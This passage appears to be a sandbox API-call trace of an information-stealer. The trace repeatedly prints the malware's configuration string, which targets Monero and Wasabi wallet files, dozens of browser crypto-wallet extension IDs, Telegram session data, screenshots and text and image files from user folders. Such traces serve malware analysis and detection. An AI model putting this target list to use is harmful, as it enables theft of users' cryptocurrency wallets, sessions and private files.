Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3450 [0260.173] lstrlenW (lpString="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3450 [0260.173] LocalAlloc (uFlags=0x40, uBytes=0x1af4) returned 0x6b9720 [0260.173] lstrlenW (lpString="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3450 [0260.173] LocalAlloc (uFlags=0x40, uBytes=0x1af4) returned 0x6bb220 [0260.173] lstrlenW (lpString="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3450 [0260.173] LocalAlloc (uFlags=0x40, uBytes=0x1af4) returned 0x6bcd20 [0260.173] StrStrW (lpFirst="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.173] lstrlenW (lpString="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3450 [0260.173] LocalAlloc (uFlags=0x40, uBytes=0x1b74) returned 0x6be820 [0260.173] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0260.174] LocalFree (hMem=0x6be820) returned 0x0 [0260.174] StrStrW (lpFirst="wlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local 